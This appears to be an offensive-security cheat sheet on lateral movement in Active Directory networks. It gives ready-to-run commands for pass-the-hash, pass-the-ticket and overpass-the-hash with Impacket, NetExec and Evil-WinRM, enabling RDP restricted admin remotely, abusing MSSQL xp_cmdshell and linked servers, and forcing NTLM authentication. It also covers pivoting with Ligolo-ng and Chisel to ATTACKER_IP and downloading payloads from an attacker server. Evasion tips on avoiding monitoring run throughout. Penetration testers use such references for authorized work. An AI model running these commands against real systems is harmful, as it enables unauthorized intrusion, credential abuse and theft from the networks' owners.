Lateral Movement

You have credentials, hashes, or tickets. Time to move through the network, hop between hosts, and reach high-value targets.

Sections Lateral Movement

Impacket Suite

Each tool uses a different execution method with different OPSEC tradeoffs.

PsExec (creates a service, drops a binary to disk). [SMB] [Requires Local Admin]

terminal.log
root@localhost:~# impacket-psexec <DOMAIN>/<USER>@<TARGET> -hashes :<HASH>

WMIExec (stealthier, executes via WMI, no binary on disk). [WMI] [Requires Local Admin]

terminal.log
root@localhost:~# impacket-wmiexec <DOMAIN>/<USER>@<TARGET> -hashes :<HASH>

SMBExec (creates a service, no binary dropped). [SMB] [Requires Local Admin]

terminal.log
root@localhost:~# impacket-smbexec <DOMAIN>/<USER>@<TARGET> -hashes :<HASH>

AtExec (creates a scheduled task). [SMB] [Requires Local Admin]

terminal.log
root@localhost:~# impacket-atexec <DOMAIN>/<USER>@<TARGET> -hashes :<HASH> 'whoami'

DCOMExec (execution via DCOM objects). [DCOM] [Requires Local Admin]

terminal.log
root@localhost:~# impacket-dcomexec <DOMAIN>/<USER>@<TARGET> -hashes :<HASH>
Tip
OPSEC ranking (stealthiest to noisiest): wmiexec > atexec > dcomexec > smbexec > psexec. PsExec leaves the most artifacts (service creation + binary on disk).

NetExec PTH

Execute a command via PTH. [SMB]

terminal.log
root@localhost:~# nxc smb <TARGET> -u <USER> -H <HASH> -x 'whoami'

PowerShell execution. [SMB]

terminal.log
root@localhost:~# nxc smb <TARGET> -u <USER> -H <HASH> -X 'Get-Process'

PTH across a subnet (find where you have admin). [SMB]

terminal.log
root@localhost:~# nxc smb <SUBNET>/24 -u <USER> -H <HASH>
Tip
Look for (Pwn3d!) in the output. That means local admin on that host.

Password-based (same tools, swap -hashes for creds)

terminal.log
root@localhost:~# impacket-psexec <DOMAIN>/<USER>:<PASS>@<TARGET>
root@localhost:~# impacket-wmiexec <DOMAIN>/<USER>:<PASS>@<TARGET>
root@localhost:~# impacket-smbexec <DOMAIN>/<USER>:<PASS>@<TARGET>
root@localhost:~# impacket-atexec <DOMAIN>/<USER>:<PASS>@<TARGET> 'whoami'
root@localhost:~# impacket-dcomexec <DOMAIN>/<USER>:<PASS>@<TARGET>

Pass-the-Ticket

Request a TGT and use it for authentication. [Kerberos]

terminal.log
root@localhost:~# impacket-getTGT <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP>
root@localhost:~# export KRB5CCNAME=<USER>.ccache
root@localhost:~# impacket-psexec <DOMAIN>/<USER>@<TARGET_FQDN> -k -no-pass

With hash.

terminal.log
root@localhost:~# impacket-getTGT <DOMAIN>/<USER> -hashes :<HASH> -dc-ip <DC_IP>
root@localhost:~# export KRB5CCNAME=<USER>.ccache
root@localhost:~# impacket-wmiexec <DOMAIN>/<USER>@<TARGET_FQDN> -k -no-pass
Tip
Kerberos auth requires DNS. Add the target’s FQDN to /etc/hosts or point /etc/resolv.conf at the DC. Always use the hostname (not IP) with -k.

Overpass-the-Hash

Convert an NTLM hash into a Kerberos TGT (useful when NTLM is restricted but Kerberos isn’t). [Kerberos]

terminal.log
root@localhost:~# impacket-getTGT <DOMAIN>/<USER> -hashes :<HASH> -dc-ip <DC_IP>
root@localhost:~# export KRB5CCNAME=<USER>.ccache

# Now use any tool with Kerberos auth
root@localhost:~# impacket-wmiexec <DOMAIN>/<USER>@<TARGET_FQDN> -k -no-pass
root@localhost:~# impacket-secretsdump <DOMAIN>/<USER>@<DC_FQDN> -k -no-pass
root@localhost:~# nxc smb <TARGET_FQDN> -u <USER> --use-kcache
Tip
Overpass-the-Hash is the go-to move when you have a hash but NTLM auth is blocked or monitored. Convert to Kerberos and fly under the radar.

WinRM

NetExec

Check WinRM access. [WinRM]

terminal.log
root@localhost:~# nxc winrm <TARGET> -u <USER> -p <PASS>

Execute a command. [WinRM]

terminal.log
root@localhost:~# nxc winrm <TARGET> -u <USER> -p <PASS> -x 'whoami'

With hash. [WinRM]

terminal.log
root@localhost:~# nxc winrm <TARGET> -u <USER> -H <HASH> -x 'whoami'

Evil-WinRM

Interactive shell with password. [WinRM]

terminal.log
root@localhost:~# evil-winrm -i <TARGET> -u <USER> -p <PASS>

With hash. [WinRM]

terminal.log
root@localhost:~# evil-winrm -i <TARGET> -u <USER> -H <HASH>

With Kerberos ticket. [WinRM] [Kerberos]

terminal.log
root@localhost:~# export KRB5CCNAME=<USER>.ccache
root@localhost:~# evil-winrm -i <TARGET_FQDN> -r <DOMAIN_FQDN>
Tip
Evil-WinRM supports file upload/download, in-memory PowerShell script loading (menu → Bypass-4MSI), and DLL loading. It’s the best interactive shell option over WinRM.

RDP

Check RDP access. [RDP]

terminal.log
root@localhost:~# nxc rdp <TARGET> -u <USER> -p <PASS>

Connect via xfreerdp. [RDP]

terminal.log
root@localhost:~# xfreerdp /v:<TARGET> /u:<USER> /p:<PASS> /d:<DOMAIN> /cert-ignore +clipboard /dynamic-resolution

PTH over RDP (requires Restricted Admin mode enabled on the target). [RDP]

terminal.log
root@localhost:~# xfreerdp /v:<TARGET> /u:<USER> /pth:<HASH> /d:<DOMAIN> /cert-ignore

Enable Restricted Admin mode remotely (if you have admin access). [Requires Local Admin]

terminal.log
root@localhost:~# nxc smb <TARGET> -u <USER> -H <HASH> -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f'
Tip
Restricted Admin mode is disabled by default. If you can enable it remotely, you unlock PTH over RDP. Useful when you need a full GUI session.

MSSQL

Authentication

Check MSSQL access. [MSSQL]

terminal.log
root@localhost:~# nxc mssql <TARGET> -u <USER> -p <PASS>

Interactive MSSQL client. [MSSQL]

terminal.log
root@localhost:~# impacket-mssqlclient <DOMAIN>/<USER>:<PASS>@<TARGET>

With Windows auth.

terminal.log
root@localhost:~# impacket-mssqlclient <DOMAIN>/<USER>:<PASS>@<TARGET> -windows-auth

Command Execution

Execute OS commands via NetExec. [MSSQL]

terminal.log
root@localhost:~# nxc mssql <TARGET> -u <USER> -p <PASS> -x 'whoami'

Enable xp_cmdshell manually.

MSSQL
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

Linked Servers

Enumerate linked servers (can pivot to other SQL instances).

MSSQL
EXEC sp_linkedservers;

Execute queries on a linked server.

MSSQL
SELECT * FROM OPENQUERY([LINKED_SERVER], 'SELECT system_user');

Execute xp_cmdshell through a linked server.

MSSQL
EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [LINKED_SERVER];
EXEC ('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LINKED_SERVER];
EXEC ('EXEC xp_cmdshell ''whoami'';') AT [LINKED_SERVER];
Tip
Linked servers often run with elevated privileges. Chaining through multiple linked servers can bypass security boundaries and reach isolated segments.

Capture NTLM Hash via MSSQL

Force the SQL server to authenticate to your listener. [MSSQL]

MSSQL
EXEC xp_dirtree '\<LISTENER_IP>\share';
Tip
Run Responder or ntlmrelayx on <LISTENER_IP> to capture or relay the machine account hash.

DCOM Execution

Execute commands via DCOM objects. [DCOM] [Requires Local Admin]

terminal.log
root@localhost:~# impacket-dcomexec <DOMAIN>/<USER>:<PASS>@<TARGET>

With hash.

terminal.log
root@localhost:~# impacket-dcomexec <DOMAIN>/<USER>@<TARGET> -hashes :<HASH>
Tip
DCOM uses port 135 (RPC) + dynamic high ports. Less commonly monitored than SMB-based execution.

SSH (Linux Targets in AD)

If Linux machines are domain-joined.

terminal.log
root@localhost:~# ssh <USER>@<TARGET>

With a Kerberos ticket.

terminal.log
root@localhost:~# export KRB5CCNAME=<USER>.ccache
root@localhost:~# ssh -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes <USER>@<TARGET_FQDN>

Tunneling & Pivoting

Ligolo-ng

Set up a tunnel for pivoting into internal networks.

terminal.log
# On attacker (start the proxy)
root@localhost:~# ./proxy -selfcert -laddr 0.0.0.0:11601
terminal.log
# On target (run the agent)
root@localhost:~# .\agent.exe -connect <ATTACKER_IP>:11601 -ignore-cert
terminal.log
# In Ligolo proxy console
>> session         # select the session
>> ifconfig        # check target's internal interfaces
>> start           # start the tunnel
terminal.log
# Add route on attacker to reach internal network
root@localhost:~# sudo ip route add 10.10.10.0/24 dev ligolo

Now you can interact with the internal network directly.

terminal.log
root@localhost:~# nxc smb 10.10.10.0/24
root@localhost:~# nmap -sC -sV 10.10.10.100

Ligolo-ng (Reverse Listener for File Transfer)

Create a listener on the agent side for file transfers or reverse shells.

terminal.log
# In Ligolo proxy console
>> listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp

Chisel

SOCKS proxy via Chisel.

terminal.log
# On attacker (server)
root@localhost:~# chisel server --reverse -p 8080

# On target (client, reverse SOCKS)
PS C:\> .\chisel.exe client <ATTACKER_IP>:8080 R:1080:socks

Port forward via Chisel.

terminal.log
# Forward target's port 3389 to attacker's localhost:3389
PS C:\> .\chisel.exe client <ATTACKER_IP>:8080 R:3389:127.0.0.1:3389

Using Proxychains

Configure /etc/proxychains4.conf:

socks5 127.0.0.1 1080

Then prefix any tool with proxychains.

terminal.log
root@localhost:~# proxychains4 nxc smb 10.10.10.0/24
root@localhost:~# proxychains4 impacket-psexec <DOMAIN>/<USER>:<PASS>@10.10.10.100
root@localhost:~# proxychains4 evil-winrm -i 10.10.10.100 -u <USER> -p <PASS>
Tip
Ligolo-ng is generally preferred over Chisel for AD engagements. It creates a proper TUN interface so you don’t need proxychains (tools work natively). Chisel is a solid fallback when you can’t run Ligolo.

SSH Tunneling (Quick Alternative)

Dynamic SOCKS proxy via SSH.

terminal.log
root@localhost:~# ssh -D 1080 -N -f <USER>@<PIVOT_HOST>

Local port forward.

terminal.log
root@localhost:~# ssh -L 8888:<INTERNAL_TARGET>:445 <USER>@<PIVOT_HOST>

File Transfer Methods

From Linux Attacker to Windows Target

Python HTTP server + certutil/PowerShell download.

terminal.log
# On attacker
root@localhost:~# python3 -m http.server 80
terminal.log
# On target
PS C:\> certutil -urlcache -f http://<ATTACKER_IP>/file.exe file.exe
PS C:\> powershell -c "(New-Object Net.WebClient).DownloadFile('http://<ATTACKER_IP>/file.exe','C:\Temp\file.exe')"
PS C:\> iwr -Uri http://<ATTACKER_IP>/file.exe -OutFile C:\Temp\file.exe

SMB Share

terminal.log
# On attacker (start SMB server)
root@localhost:~# impacket-smbserver share . -smb2support -username user -password pass
terminal.log
# On target
C:\> net use \<ATTACKER_IP>\share /user:user pass
C:\> copy \<ATTACKER_IP>\share\file.exe C:\Temp

Evil-WinRM Upload/Download

terminal.log
# Inside evil-winrm session
*Evil-WinRM* PS> upload /path/to/local/file.exe C:\Temp\file.exe
*Evil-WinRM* PS> download C:\Temp\loot.txt /path/to/local/loot.txt